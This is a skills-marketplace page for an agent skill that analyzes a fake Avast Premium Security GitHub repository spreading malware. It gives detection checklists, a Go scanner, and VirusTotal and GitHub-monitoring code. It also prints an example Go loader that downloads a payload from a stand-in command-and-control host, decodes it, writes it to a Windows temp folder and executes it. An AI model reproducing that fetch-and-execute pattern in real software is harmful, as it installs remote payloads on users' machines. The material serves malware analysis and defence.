MCPInstall

malware-analysis-dragonflytomb-avast

Analyze and understand malware distribution techniques disguised as legitimate security software installers

Installs
1K
Last 24h
—
Trending rank
—
Security
Not audited

Install

Works with every agent the skills CLI supports.

npx skills add https://github.com/reason-machines/security-skills --skill malware-analysis-dragonflytomb-avast
  1. 01

    Install

    Run the command in your project. The CLI asks which agents to install for.

  2. 02

    Describe the task

    Ask your agent for something this skill covers. It loads malware-analysis-dragonflytomb-avast automatically when relevant.

  3. 03

    Review the result

    The agent follows the SKILL.md steps, scripts and references bundled with the skill.

SKILL.md

The instructions your agent reads when the skill is triggered.

DragonflyTomb/Avast-Premium-Security-2026 Analysis

Skill by ara.so — Security Skills collection

⚠️ WARNING: Malware Distribution Repository

This repository is NOT legitimate Avast Premium Security software. It exhibits multiple red flags consistent with malware distribution disguised as cracked security software.

Threat Indicators

Repository Red Flags

  1. Unauthorized Distribution: Avast Corporation does not distribute software via GitHub repositories named "DragonflyTomb"
  2. Crack/Keygen Keywords: Terms like "Keygen", "Pre-Activated", "Loader", "Serial" indicate piracy or malware
  3. Suspicious Topics: Includes "retdec" (reverse engineering tool) in security software context
  4. No README: Legitimate software repositories include documentation
  5. Artificial Stars: 60 stars at 5 stars/day suggests manipulation
  6. No License: "NOASSERTION" for commercial software is suspicious
  7. Future Date: Claims to be "2026" version (likely timestamp manipulation)

Common Malware Distribution Patterns

// Typical malware loader pattern in Go
package main

import (
    "encoding/base64"
    "io/ioutil"
    "net/http"
    "os"
    "os/exec"
)

// WARNING: This is example malware behavior - DO NOT USE
func suspiciousDownloader() {
    // Downloads secondary payload
    resp, _ := http.Get("hxxp://malicious-c2-server.com/payload")
    defer resp.Body.Close()
    
    payload, _ := ioutil.ReadAll(resp.Body)
    decoded, _ := base64.StdEncoding.DecodeString(string(payload))
    
    // Writes to system directory
    ioutil.WriteFile("C:\\Windows\\Temp\\update.exe", decoded, 0755)
    
    // Executes with elevated privileges
    exec.Command("cmd", "/c", "C:\\Windows\\Temp\\update.exe").Run()
}

Analysis Techniques

Static Analysis Checklist

# Check for suspicious imports (if source code available)
grep -r "syscall" .
grep -r "unsafe" .
grep -r "net/http" .
grep -r "os/exec" .
grep -r "crypto" .

# Look for obfuscation patterns
grep -r "base64" .
grep -r "XOR" .
grep -r "decode" .

# Check for persistence mechanisms
grep -r "Registry" .
grep -r "Startup" .
grep -r "Task Scheduler" .

Detection Code Example

package main

import (
    "crypto/sha256"
    "fmt"
    "io"
    "os"
    "path/filepath"
    "strings"
)

// MalwareIndicators represents suspicious patterns
type MalwareIndicators struct {
    SuspiciousImports  []string
    ObfuscationDetected bool
    NetworkConnections  []string
    FileHash           string
}

// AnalyzeGoFile checks for malware indicators
func AnalyzeGoFile(path string) (*MalwareIndicators, error) {
    content, err := os.ReadFile(path)
    if err != nil {
        return nil, err
    }
    
    indicators := &MalwareIndicators{
        SuspiciousImports: []string{},
    }
    
    // Check for suspicious imports
    suspiciousPackages := []string{
        "syscall",
        "unsafe",
        "os/exec",
        "net/http",
        "crypto/aes",
    }
    
    contentStr := string(content)
    for _, pkg := range suspiciousPackages {
        if strings.Contains(contentStr, fmt.Sprintf(`"%s"`, pkg)) {
            indicators.SuspiciousImports = append(indicators.SuspiciousImports, pkg)
        }
    }
    
    // Check for obfuscation
    if strings.Contains(contentStr, "base64") || 
       strings.Contains(contentStr, "XOR") ||
       strings.Contains(contentStr, "decode") {
        indicators.ObfuscationDetected = true
    }
    
    // Calculate file hash
    f, _ := os.Open(path)
    defer f.Close()
    h := sha256.New()
    io.Copy(h, f)
    indicators.FileHash = fmt.Sprintf("%x", h.Sum(nil))
    
    return indicators, nil
}

// ScanRepository analyzes all Go files in directory
func ScanRepository(rootDir string) {
    filepath.Walk(rootDir, func(path string, info os.FileInfo, err error) error {
        if strings.HasSuffix(path, ".go") {
            indicators, err := AnalyzeGoFile(path)
            if err != nil {
                return nil
            }
            
            if len(indicators.SuspiciousImports) > 0 || indicators.ObfuscationDetected {
                fmt.Printf("⚠️  Suspicious file: %s\n", path)
                fmt.Printf("   Hash: %s\n", indicators.FileHash)
                fmt.Printf("   Imports: %v\n", indicators.SuspiciousImports)
                fmt.Printf("   Obfuscated: %v\n\n", indicators.ObfuscationDetected)
            }
        }
        return nil
    })
}

Safe Investigation Practices

Sandbox Environment Setup

# Use isolated VM or container
docker run -it --rm --network none golang:1.21 /bin/bash

# Clone repository in isolated environment
cd /tmp
git clone https://github.com/DragonflyTomb/Avast-Premium-Security-2026

# Analyze without executing
cd Avast-Premium-Security-2026
find . -type f -name "*.go" | head -10

Binary Analysis Tools

# If compiled binaries are present
strings suspicious_binary.exe | grep -i "http"
strings suspicious_binary.exe | grep -i "password"
strings suspicious_binary.exe | grep -i "admin"

# Check for packed/obfuscated binaries
file suspicious_binary.exe
xxd suspicious_binary.exe | head -50

Reporting Malware

GitHub Abuse Report

# Report repository via GitHub's abuse form
# URL: https://github.com/contact/report-abuse

# Include:
# - Repository URL
# - Description: "Malware distribution disguised as Avast Premium Security"
# - Evidence: Keywords like keygen, loader, pre-activated

VirusTotal Submission

package main

import (
    "bytes"
    "fmt"
    "io"
    "mime/multipart"
    "net/http"
    "os"
)

// SubmitToVirusTotal uploads suspicious file for analysis
func SubmitToVirusTotal(filePath string) error {
    apiKey := os.Getenv("VIRUSTOTAL_API_KEY")
    if apiKey == "" {
        return fmt.Errorf("VIRUSTOTAL_API_KEY not set")
    }
    
    file, err := os.Open(filePath)
    if err != nil {
        return err
    }
    defer file.Close()
    
    body := &bytes.Buffer{}
    writer := multipart.NewWriter(body)
    part, _ := writer.CreateFormFile("file", filePath)
    io.Copy(part, file)
    writer.Close()
    
    req, _ := http.NewRequest("POST", "https://www.virustotal.com/vtapi/v2/file/scan", body)
    req.Header.Set("Content-Type", writer.FormDataContentType())
    req.Header.Set("x-apikey", apiKey)
    
    client := &http.Client{}
    resp, err := client.Do(req)
    if err != nil {
        return err
    }
    defer resp.Body.Close()
    
    fmt.Printf("VirusTotal response: %d\n", resp.StatusCode)
    return nil
}

Prevention Guidance

For Developers

  1. Never download from unofficial sources
  2. Verify digital signatures on legitimate software
  3. Check official vendor websites for authentic downloads
  4. Use package managers where possible
  5. Enable EDR/XDR solutions on development machines

For Security Teams

// GitHub repository monitoring
package main

import (
    "context"
    "fmt"
    "github.com/google/go-github/v50/github"
    "strings"
)

// MonitorSuspiciousRepos searches for malware distribution patterns
func MonitorSuspiciousRepos(ctx context.Context, token string) {
    client := github.NewClient(nil).WithAuthToken(token)
    
    keywords := []string{
        "keygen", "crack", "loader", "pre-activated",
        "premium serial", "full version installer",
    }
    
    for _, keyword := range keywords {
        query := fmt.Sprintf("%s in:description language:go", keyword)
        opts := &github.SearchOptions{
            ListOptions: github.ListOptions{PerPage: 10},
        }
        
        results, _, err := client.Search.Repositories(ctx, query, opts)
        if err != nil {
            continue
        }
        
        for _, repo := range results.Repositories {
            fmt.Printf("⚠️  Suspicious: %s\n", repo.GetFullName())
            fmt.Printf("   Description: %s\n", repo.GetDescription())
            fmt.Printf("   Stars: %d\n\n", repo.GetStargazersCount())
        }
    }
}

Legitimate Avast Resources

Conclusion

This repository represents a malware distribution operation using social engineering tactics. Always obtain security software directly from verified vendor sources and never trust "cracked", "keygen", or "pre-activated" versions of commercial software.

FAQ

What does the malware-analysis-dragonflytomb-avast skill do?

Analyze and understand malware distribution techniques disguised as legitimate security software installers

How do I install malware-analysis-dragonflytomb-avast?

Run npx skills add https://github.com/reason-machines/security-skills --skill malware-analysis-dragonflytomb-avast in your project. The skills CLI detects the agents you use and copies the skill into the right folder. For Claude Code you can also place the skill folder at ~/.claude/skills/malware-analysis-dragonflytomb-avast/ (personal) or .claude/skills/malware-analysis-dragonflytomb-avast/ (project).

Which AI agents can use malware-analysis-dragonflytomb-avast?

Any agent that supports the open Agent Skills format (a folder with a SKILL.md file), including Claude Code, Codex, Cursor, GitHub Copilot, Gemini CLI, Windsurf, Cline, OpenCode and more.

Is malware-analysis-dragonflytomb-avast safe to install?

No partner security audit is available yet. Skills can run commands and scripts, so read the SKILL.md and any bundled files before installing.

Who maintains malware-analysis-dragonflytomb-avast?

It is published by reason-machines in reason-machines/security-skills. It has 1,006 recorded installs.

More from reason-machines/security-skills

View all →

anthropic-cybersecurity-skills

reason-machines/security-skills

Use 754 structured cybersecurity skills mapped to MITRE ATT&CK, NIST CSF, ATLAS, D3FEND, and NIST AI RMF for AI-driven security operations

AI & Agents1.7K installs

pentest-ai-agents

reason-machines/security-skills

Claude Code subagents for offensive security research, penetration testing planning, recon analysis, exploit research, detection engineering, and security reporting

Security1.4K installs

pentest-agents-bug-bounty-framework

reason-machines/security-skills

Autonomous bug bounty agent framework with 50 agents, hunt loops, exploit chains, MCP servers for platform integration and writeup search

openosint-ai-osint-framework

reason-machines/security-skills

AI-powered OSINT agent with interactive REPL, MCP server, and CLI for email/username/domain/IP/phone investigation using 11 integrated tools

Backend & APIs1.2K installs

vibe-security-skill

reason-machines/security-skills

Agent skill that audits vibe-coded apps for common security vulnerabilities introduced by AI coding assistants

Security1.1K installs

openclaw-security-hardening

reason-machines/security-skills

Deploy and manage security hardening for high-privilege autonomous AI agents (OpenClaw) using zero-trust architecture and automated defense matrices

Security1.1K installs

Popular security skills

View category →

azure-compliance

microsoft/azure-skills

Run Azure compliance and security audits with azqr plus Key Vault expiration checks. Covers best-practice assessment, resource review, policy/compliance validation, and security posture checks. WHEN: compliance scan, security audit, BEFORE running azqr (compliance cli tool), Azure best practices, Key Vault expiration check, expired certificates, expiring secrets, orphaned resources, compliance assessment.

OfficialSecurity567K installs

minimal-run-and-audit

lllllllama/rigorpilot-skills

Rigor Run skill for README-first deep learning repo reproduction. Use when the task is specifically to capture or normalize evidence from the selected smoke test or documented inference or evaluation command and write standardized reprooutputs/ files, including patch notes when repository files changed. Do not use for training execution, initial repo intake, generic environment setup, paper lookup, target selection, hidden scientific-meaning changes, or end-to-end orchestration by itself.

Security477.4K installs

seo-audit

coreyhaines31/marketingskills

When the user wants to audit, review, or diagnose SEO issues on their site. Also use when the user mentions "SEO audit," "technical SEO," "why am I not ranking," "SEO issues," "on-page SEO," "meta tags review," "SEO health check," "my traffic dropped," "lost rankings," "not showing up in Google," "site isn't ranking," "Google update hit me," "page speed," "core web vitals," "crawl errors," "indexing issues," "stuck on page 2," "striking distance keywords," "title tag rewrite," "low CTR," "local SEO," "Google Business Profile," or "map pack." Use this even if the user just says something vague like "my SEO is bad" or "help with SEO" — start with an audit. For building pages at scale to target keywords, see programmatic-seo. For adding structured data, see schema. For AI search optimization, see ai-seo.

Security238.7K installs

firebase-security-rules-auditor

firebase/agent-skills

Audits Firebase (Firestore, Cloud Storage) security rules for vulnerabilities, privilege escalation, role bypasses, create vs update inconsistencies, resource exhaustion, type safety, size limits, and hasOnly ownership checks. Use when auditing/reviewing rules, running red-team rule assessments, or scoring against auditor checklists. Don't use for Firebase CLI (login, deploy), Auth, Crashlytics, Remote Config, or database queries.

OfficialSecurity139.1K installs

audit

pbakaus/impeccable

Run technical quality checks across accessibility, performance, theming, responsive design, and anti-patterns. Generates a scored report with P0-P3 severity ratings and actionable plan. Use when the user wants an accessibility check, performance audit, or technical quality review.

Security81.9K installs

competitors

coreyhaines31/marketingskills

When the user wants to create competitor comparison or alternative pages for SEO and buyer-facing use. Also use when the user mentions 'alternative page,' 'vs page,' 'competitor comparison,' 'comparison page,' '[Product] vs [Product],' '[Product] alternative,' 'competitive landing pages,' 'how do we compare to X,' 'competitor teardown,' 'audit our competitor pages,' 'are our comparison pages out of date,' or 'competitive asset audit.' Use this for any content that positions your product against competitors. Covers four formats: singular alternative, plural alternatives, you vs competitor, and competitor vs competitor. For auditing existing claims (not researching competitors from scratch, which is competitor-profiling; not technical SEO on these pages, which is seo-audit), use the asset audit here. For internal battle cards and sales-specific competitor docs, see sales-enablement.

Security79.3K installs